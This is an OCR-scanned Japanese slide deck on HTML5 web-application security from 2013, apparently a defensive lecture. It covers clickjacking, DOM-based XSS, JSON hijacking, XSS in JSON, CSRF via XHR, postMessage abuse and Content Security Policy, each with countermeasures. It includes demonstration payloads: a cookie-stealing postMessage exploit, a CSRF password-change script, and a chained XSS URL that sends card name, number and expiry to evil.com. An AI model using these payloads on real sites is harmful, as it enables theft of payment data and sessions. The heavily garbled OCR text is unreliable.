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— frame/iframezZ It LTRSS
header (" X-FRAME-OPTIONS: DENY");

— frame/iframeZZ It TELULWAE—FOUDIGE
header (" X-FRAME-OPTIONS: SAMEORIGINT®);
CSRFXEERDE—IUFEITLTWNAR—UDXRELS
AREFR(ZLBHX-FRAME-OPTIONS{EEILEN T,

EAAREIRETHDE D IEELENTT ()
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blog® 4} £8

[ blog.com x
- C A [} blog.com o - =

MEFREFAEERAZL

Tdz19x%. %Biﬁ[ﬁ%ﬂf*‘){#lﬁjf\_ﬂvfé{? hoge tokyo. D 202, BHEMEBEOEZ IR DL 7R A

“flfﬁc‘é_ﬂ%\ct?flﬁ-pﬁﬁ?ﬁcto I T I o

FEIEEICEATLAOT, blogtokvo jpl 2 L0073 -dv . E0Fahn TLyaH -1,

gEﬁTL_}%L,% FoHTEELMTE | nikki tokyo jpd Trdiary tokyo jPam BT ILvET . Chld s
™ ':l: I'I - cto

A BTG5 THF—h com BYEL T, PF U odsmbiE-B s DI ETT L, DT s
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iframe < B8

<iframe src="http://adv.com/ad.html?siteld=50341">
</iframe>

iframe®MY—X (£ EER)

<a href="http://oname.com/"><img src="oname.png"></a>

<div id="img"></div>

<script>
var div = document.getElementById('img"');
var img = '<img src="track.php?siteld="

+ gstrs.siteld + "">';
div.innerHTML = img;
// siteld % localStoragelZ{®&7F
localStorage.siteld = parselnt(qgstrs.siteld);
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adv.com/ad.htm|?sitelr =

|
a

P <a href="http:/ /oname.com/">.< a*
¥ediv id="img">
<img src="track.php?siteld=58341" onload="alert{1);">
<fdive
P <scriptradfscripts
</body>
</html>

o5 a ne [

€& = X & [} adv.com/ad.html?siteld=50341"%20onload%3d"alert(1); e =
> . f.._ -
I‘ )l’f_/mé d"b M~ adv.com (DETHh: #
S R~ — L
I 1
B .COM
h y oK
ttp://oname.com
| Elernents | Resources Metwork Sources Timeline Profiles  Audits Console =
¥ <htmlz # Computed S EShow inherited
k <head>..</head> ¥ Styles + iR 4
¥ sy glement.style {

i
Matched C55 Rules

body user agent stylesheet

i
display: block;
margin: # 8px;

}

+ Metrics W
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HY . MDA IZITEE (LK T
siteld(ElocalStoragelZ{RFEL TLVH AN, parselntZz@L TLY
HDT., FBEINDHIEIEEW

Z3¥ZHblog.comMbMEUHEINSIHE . siteld[XEEGD T,
ERZEHEL
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JAJ4—/)LE®

JT074—IL DR (profile.php)

<script src="jquery-1.10.2.min.js"></script>

<script>
$(function() {

$.ajax({
dataType: 'json',
url: "'getProfile json.php'

}) .done(function(json) {
$("#name').text(json[0].name);
$('#addr').text(json[0@].addr);
$('#tel').text(json[0].tel);
$('#mail').text(json[0].mail);

});

})s

</script>

a74—JL<br>

K4 :<span id="name"></span><br>
{£AT:<span id="addr"></span><br>
EEEE S :<span id="tel"></span><br>

A—J)LF7EL R :<span id="mail"></span><br>

[{"name":"Taro Yamada", "tel":"03-
1111-2222",
"mail":"yamada@example.jp",
"addr":"1-1-1, Mita, Minato-city,
Tokyo"}]
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JSON Hijacké&l&...

JSON->T. JavaScriptf=&1a
sCriptZ2R CTanH1ADH LN
J9F—EHMS KR
JSONT—RZFEL T FEHENLZLIM?

NIFEYAE
scriptERIXVORAR AL THHIAH A EE
79F—H DK

<script>

/I ZZIZJSONZ R IT#TZES
</script>
<script

src="http://oname.com/getProfile json.php"></script>
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JSON HijackM E (setterhiy;

__-ﬁgéiF”J

<body onload="alert(x)">
EY Mk
<script>
var x = "";
Object.prototype. defineSetter__ ("name",
function(v) {
X += 'nhame =
})s
Object.prototype. defineSetter_ ("tel",
function(v) {
X += 'tel = " + v + "¥n";
})s
// B
// LATFHYISONT—%

+ v + "¥n";

<script src="http://oname.com/getProfile json.ph

</body>

{ http://

Et4t

Tokyo

HASH

name = Taro Yamada
tel =03-1111-2222
mail = yamada@example.jp
addr = 1-1-1, Mita, Minato-city,

|
al’s

AN— [http://d===gh | DICIk:

% Xperia Arc (Android 2.3.4)IZTZE4T
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JSON Hijack®@ E (IE[]IF;—#%F,

<script>
window.onerror = function(e) {
if (e.match(/'({"memo".*)'$/)) {
var msg = 'JSON\AD¥yPIZETN:" + RegExp.$1;
} else {
var msg = "JSON/\ATyIIZKE: " + e;
}
var divmemo = document.getElementById( 'memo');
var text = document.createTextNode(msg);
divmemo.appendChild(text);
}
</script>
NIEEY AT (IERTE)
<div id="memo"></div>
<script src="http://oname.com/getProfile json.php" language="vbscript"></
script>

[ )[-= sl

. Lyl
= evil.com ‘ | {rﬁ Ll 2204

e j |;:_—'} http://evil.com/json-hijack.html P~-B c’,‘

HNIZEYAFTTIERE)
ISONNA Dy ZRBE BN —HLFER A, - '{"name":"Taro
Yamada","tel":"03-1111-2222","mail":"yamad...'
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JSON Hijack® »} 3R
Content-TypeZ1IEL{E&FET S

header('Content-Type: application/json; charset=UTF-8’);

X-Content-Type-Options: nosniff ZH 113 %
header('X-Content-Type-Options: nosniff');

I DIEZFALVSD (CVE-2013-1297% KT HDELD)
— JSON Hijack 3 TEAZEIET ST D/NT

X-Requested-WithANy 5 DF vy

— ~yA X-Requested-With: XMLHttpRequest A& 5 &
— jQuery®oprototype.jsTIXB &It 5N 5

— sCriptBERTHROIG (L. AVA (LIRETEALY
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A A TRZEEEE(JSON)

http://oname.com/searchdomain_json.php?dname=tokumaru

{"status":"ok","key":"tokumaru","results":["tokumaru.us","
tokumaru.ru"]}

http://oname.com/searchdomain_json.php?dname=<img%20src%3D %
23%200nerror%3Dalert(1)>

{"status":"fail","key":"<img src=# onerror=alert(1)>","res
ults":[]}

7574 (ZJSON(application/json)& 255
SNAIEREEALAS, HTML (text/html) & 58
BN DHEXSSIC
HASH
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o N

™) http://oname.co...r%3Dalert(1)%3E I + l

oname.com BT —SFEEELTNET...

x

€ _@' oname.com/searchdomain_json.php 77 v X | |* G-:P| 4+ A @ - B~ # -

‘ http://oname.com/searchdomain_json.php?dname=<ime src=2 onerror=a... |Z,|§||_El

e Er REE FTOA BREANGE  W=IT ANTH)
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O - O HREAG Lo domw @ 35 3-8

e Uun

{"statu,s":"fajl”:"kejf":IIIE",III’ES'U,]IS”:[]}

Microsoft Internet Explorer @ i
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JSONIZ L HXSSD IR

EL<HE 1 (ENTIELLSOK)

Content-Type#%1

header('Content-Type: application/json; charset=UTF-8");
X-Content-Type-Options: nosniff ANy4 % H 7
header('X-Content-Type-Options: nosniff');
/| 2T IE8 LIREIE OK
1) T R REFIZX-Request-WithZ#{t 5L T, Y—/\—{8ITHE

e d D

— jQueryETIXBEINfT S, TRTOIT VYT TEILGX R
< 45 > fUnicodeT R —TF 3

json_encode($row, JSON HEX TAG | JSON HEX APOS |
JSON_HEX_QUOT | JSON_HEX_AMP);
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CSRFHe58%HY > T IL

INAT—FEBENEDY—R (PHP; T ZE)

session_start();
/] BT A MR
if (isset($_SESSION['id'])) {
$id = $_SESSION['id'];
$stream = file_get_contents(‘php://input’); // VIIZTRM-HKRT«
$json = json_decode($stream, TRUE);
if (isset($json['pwd']) && $json['pwd'] !== "'") {
/] INRT—FEHISONEL TESTETCVAIGEIT/INRT—FER
$pwd = $json['pwd'];
/] INRAD—FEBERE (AT T/NART—REHLDFELELDN, LTETEDRO)
error_log(“Password is changed. id: ${id} password: ${pwd}”);
// UTFIETS—0E

s SRREDRAE
— FormMPOSTEE TIXJSONF R [F1X{ETEALY
— XMLHttpRequestTIEZIORR ALV @IE X TEAHLY
- S EBLTHESINTERLX
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WEXH) Tk

KB 49) T+ (JavaScript; TEER)

var requester = new XMLHttpRequest();

requester.open('POST', 'http://oname.com/chgpwd json.php', true);

// LATFHVEL EGoogle ChromeTIL 754k (OPTIONS) ANMEESNSD THELKT 5
requester.setRequestHeader("Content-type", "text/plain");

/] UWTFTHIZAMZIOvF—%&159 5

requester.withCredentials = true;

/! LRARDRIEZITERNAGEND T, I—IL/ Ay IEHIE vy L TULVEL
requester.send('{"pwd":"123456"}"');

EHER: Y —/—0Y

Password is changed. id: yamada password: 123456
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XHR Level2xd 5D TS5oH (IELSY) DIZE . VARR ALY

(DARFN)ONIZHRAMI) VAN ARITESEIZATEE

— H—/\—{Al TAccess-Control-Allow-Origin Ny & & (EL1EL V&
L AR AEZ (RN LA, CSRFINETIEL AR R LT R

CA

setRequestHeaderz AL\SIGZ &I, TLISAMIRET S

ENDHD

D=8 . WEENDIZE Content-TypeNySA ZI5TE T=ALY
(text/plainFIst5LLY)

— H—/\—{f8| TContent-TypeZF v 3 5L LELIC
RARMIZIE, BEBYN—IUICLE 5 REHELE
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ILEED 31— )LhvibpostMessage Tsiteld&x 52 [THLS

B A B H | TsiteldZ= 128 3A & (purchase.php)

window.addEventListener("message"”, function(event) {
var sitelId = event.data;
var form = document.getElementById('form');
var input =
"<input type="hidden" name="siteId" value="
form.innerHTML += input;
} , false);

+ siteld + "">';

Ooname.com
=)

KAAD EALE L ER—L .com

postMessage

L &ED 21— /L bsiteldZ % (& (affiliate.html)

GE&EEDa1—)L
Y s adv.com
J

parent.postMessage(
localStorage.siteld,

HESH
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D

BEHFTODOM Based XSSIZRH T A= iENEE

o siteldDIBEHIAHEFT (TED) IZIXBEREXSSHH S

var input = '<input type="hidden" name="siteld" value="" + siteld + ™>',

form.innerHTML += input;

o LMHL. siteldZlocalStoragel 2R 7F 9 B IZparselntTI ()L
A TLTNDT=0 . MEXFHEEDIAENDDER LA

HESH
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EY A khinpostMessaeHV A EE

evil.com

window.open oname.com

©0

HEILEETR

] (=[S ]

@ ) KA VR ATE D E R —L.com
@

postMessage

postMessage

®

GE&EEa1—IL

EE@EMSEBABEZRE. CookiexZiH

win = window.open(

win.postMessage(
cookie)">"', '*');
}, 2000);

"http://oname.com/purchase.php?domain=tokumaru.us’', "x");
setTimeout(function () {

><img width=1 height=1 src=/ onerror="alert(document.
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postMessage#

2 oname. com/purchase php?domain=tokumaru.us - Google Chrome

[ oname.com/purchase.php?domain=tokumaru.us

FI){#}HR%?E%H:‘IIZ*—.&%.CGM M—=% oname.com (DECR:

F A 5 tokumaruus

s

_dhc.1088983=5220c4f5-048b-4212-b91c-

I—+E&E=:

b853each4dchd;

BENEARR: mmyy T AR

PHPSESSID=hlejmuSikeif2lumizeqiud0kl

B

50341

DXSSIE

T TAE =)L
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postMessagez# 25 E5 NI E
o EEM: TAREELTHLENWAYDUFIRET S

win.postMessage(message, 'http://oname.com’)

o ZEQ: TAREZITROTHLEWA YD UZHERT S

BE A H [ TsiteldZ 128 3A & (purchase.php)

window.addEventListener("message", function(event) {

if (event.origin !== "http://adv.com"™) {
alert(' A IE/postMessage’);
return;

}

var siteld = event.data;
var form = document.getElementById('form');

var input =

"<input type="hidden" name="siteId" value="' + siteld + '">';
form.innerHTML += input;
} , false);
HASH Copyright © 2013 HASH Consulting Corp.
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o RERTREDI—ILIZXSS

— http://adv.comFA Y UIZDHEELEDZETEZALT-
o LEEDVA—ILHIBLIRFTEY M A DpostMessage

— http://adv.comZA ) oo Mo DHZ(TERAD LD IZHIE L T-
e BR5EH A DDOM Based XSS

— [REETDa—)L(adv.com)IZ T, siteldEZBHIEIZHIELTL\SD
T, EEIEGWEHIE, FBL-
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— XSS’CI:I HILARL—VIZ Iﬁz K%?U’Eigj_ 7z
o LEEVA—ILMERFTEY 1A DpostMessage

— http://adv.comFA ) O Mo D HZTESKSIZHIFEL 1=

— E&IZKYhttp://adv.comFA ) O Mo EETZ (T H [ EEMH
o ER5EH A MDDOM Based XSS

——&%%é;}béad%eem}%s#eld%iﬁéﬂ{u:%lw
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WEI—R DA
adv.com~ D K ZE 45|

http://adv.com/ad.html?siteld=%22%20onload%3d%22localStorage.siteld%3d%26quot;50
341¥%%26quot;%3E%3Cimg%20width%3d1%20height%3d1%20src%3d/%20onerror%3d¥
%26quot;document.forms[0].onsubmit%3dfunction(){f%3ddocument.forms[0];r%3dnew%20
XMLHttpRequest();r.open('GET",'http://evil.com/r.php?'%2bf.name.value%2b".'%2bf.cardnu
m.value%2b':'%2bf.expire.value,false);r.send();return%20true;}%26quot;;

WEHOO—HILAL—Tsiteld

50341"><img width=1 height=1 src=/ onerror="document.forms[0].onsubmit=function(){f=d
ocument.forms[0];r=new XMLHttpRequest();r.open('GET', 'http://evil.com/r.php?'+f.name.val
ue+''+f.cardnum.value+':'+f.expire.value,false);r.send();return true;}

oname.comTE{TaNDO—K GFRAVPTER)

document.forms[0].onsubmit=function(){
f = document.forms[0];
r = new XMLHttpRequest();
r.open(('GET, 'nttp://evil.com/r.php?'+f.name.value+".'+f.cardnum.value+"'+
f.expire.value, false);

r.send();
return true; )
i YTV BE, TH—LDBESE
[CTRAWNWESEL/\UILET S
HRASH
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x5

e HTMLAAAIZ THELUTOWIT NHODAET
— DOMIZEE D AYyERTO/T1EALS

M7

/—‘

1T

var div = document.getElementByld('img’);
var img = document.createElement('img’);
img.setAttribute('src’, 'track.php?siteld=’

+ encodeURIComponent(gstrs.siteld));
div.appendChild(img);

o MARIZIGCI=TRS—TIEBEES

var div = document.getElementByld(img’);
var img = '<img src="track.php?siteld=’

+ encodeURIComponent(gstrs.siteld) + '“>";
div.innerHTML = img;
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\r
JALLY

xR (&)

g

window.addEventListener("message”, function(event) {
var siteld = event.data;
var form = document.getElementByld('form’);
var input = document.createElement(input’);
input.setAttribute('name’, 'siteld’);
input.setAttribute('value’, siteld);
// setAttributeZfE Z [ HTMLTZ RS —T DA E(FAE0N
form.appendChild(input);

}, false);
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EAERDFEED

HTMLSIZGYIRE D /N T—2 32 [FBML TS AY, &K

[FEHDZL

— XSS: XARIZIELCI=T R —T F£f-[L DOMIEERAYvER-T O/
T4

— CSRF: b= Iz&kYxtzxk

“FiREFLILY

— FHEEDH| : XHRTIFIZARRF AL BIENTELLVERELCSRF
XREED

I RIXTELZITRETMIZTERET S

JSONDXSSIZFE

postMessagelZ L BIFEHRBA N T —2FLITER

BRI DjQueryZ DD AT S5ZH VS
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Content Security Policy(CSP)& (&

JavaScriptZEZ{TL TR W)Y —RZBHRMIZIEE
TIHINTIEAVTAVRD) T ARV SEELE
X <script> ... some scripts ... </script>
X <body onload=" ... some scripts ... ">
LTFOR)—IEmbEELL
— Content-Security-Policy: default-src 'self’
- ATAVRD)TEDELE
— ARV SDELE
— JavaScriptlL R — F A 2 Mo D A5 HIA A B BE
— XSSHEEM AN HH>TH., MBHTEELMIAELY
ZTORHYTEFEKSLY]
— JavaScriptl& Bl 771 JL(*.js)ICL TERAA H
— ARk FSIEJavaScript TIEE
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CSPZERAL=X2)TREI(1) csp.php

<?php

header("Content-Type: text/html; charset=utf-8");
header("Content-Security-Policy: default-src 'self™);

?><head> CSPOIEE

<script src="sub.js"></script>
</head> |#HIJavaScrit® @i

AN HA 1 Fonelick 2 E D720

<body> L —
<input type="button" id="go" value="go!">

<input type="hidden" id="hoge" value="<?php

echo htmlispecialchars($_GET['p"); 7>">
Hello CSP world
</body>

N

hidden/x7 X —#%
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CSPZ;ERAL-X2') T HM5I(2) sub.js

window.onload = function() { R&goMonclick/ \o RS
document.getElementByld('go').onclick = function() {
alert(document.getElementByld('hoge').value);

}; hidden/ S5 A—ah S {EEHRAET

X

o I _loix

| | http/ fexample jpfoep lert(l }%Gf&cript?ﬂEl - |
# & | & examplejp/oepphptp="><scriptralert(1 ) fsoripts

“»Czoriptralert(l ) fssoript NN I[EXSS
TIIA 0y

HESH

Consulting Copyright © 2013 HASH Consulting Corp.

87



RICXSSHH->THLITAYIEINS

<head><script src="sub.js"></script></head>

<body>

<input type=button id="go" value="go!">

<input type=hidden id="hoge" value="1"><script>alert(1)</script>">
Hello CSP world

</body>
GENEETEES =10 x|
|rﬂ http:h"exampIe.jpfn:sp...lert('l:'F'fEGfsc:riptHHE| -+ |
€& - | example jp/czpx phpp=""<zcriptzalert(1 )< /zoripts [
go! | "> Hello CSP world :!
JavaScrir')ti)“

J0Ovy

Lt
e
_AEN

7SNd

A Content Security Policy: Directive
inline script base restriction violated

»
HAHSH
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ERDFEED

EHoEWMRADREEEDHSEAFO
F9IWebT7 T ) r—2artx 1) T4 DEKRMNE
HFLE DWMEFX

- INAJ)—FRFHEE

— DTy FX )

SQLA2 P3P IaRY ARG AN TA— 1Y)
(CSRF)IXBAHA =M FEIILTLNS

JARY A ROV T T4 (XSS)IL R < HHILLY
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SZE (1)

IPATO=hJL94vFDOM Base XSSJIZBH3 5L KR—k
— http://'www.ipa.go.jp/about/technicalwatch/20130129.html

HTMLS and Security Part 1 : Basics and XSS [PPT]
— http://utf-8.jp/public/20130613/owasp.pptx

HTMLSEHE DWebtF2') 7 4[PPT]

— http://utf-8.jp/public/20120915/20120915-htmI5.pptx

XMLHttpRequestz{#>7-=CSRF»fk
— http://d.hatena.ne.jp/hasegawayosuke/20130302/p1

e E R % = L JSON(ZIE X-Content-Type-Options: nosniff
EDOITHRE

— http://d.hatena.ne.jp/hasegawayosuke/20130517/p1
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2% 3 HEA(2)

JSONZvbscriptb L TeHRHAHIAFH HISON/NAL T4y (CVE-2013-1297)(Z
FE
— http://blog.tokumaru.org/2013/05/JSON-information-disclosure-vulnerability-CVE-2013-
1297 .html

PHP®D A 2L\ AFIE % F A TAjaxMXSSIZDLVTHRETLT=(1)~(3)
— http://d.hatena.ne.jp/ockeghem/20110905/p1

ALY IV SAT—FDEE

— http://'www.atmarkit.co.jp/fsecurity/special/165pswd/01.html

Web7 7Y TNRAT—RREIXEZEFTONIELLD

— http://www.slideshare.net/ockeghem/how-to-guard-your-password
WESHE TRV RT—FOEYIKLVA

— http://www.slideshare.net/ockeghem/ss-25447896
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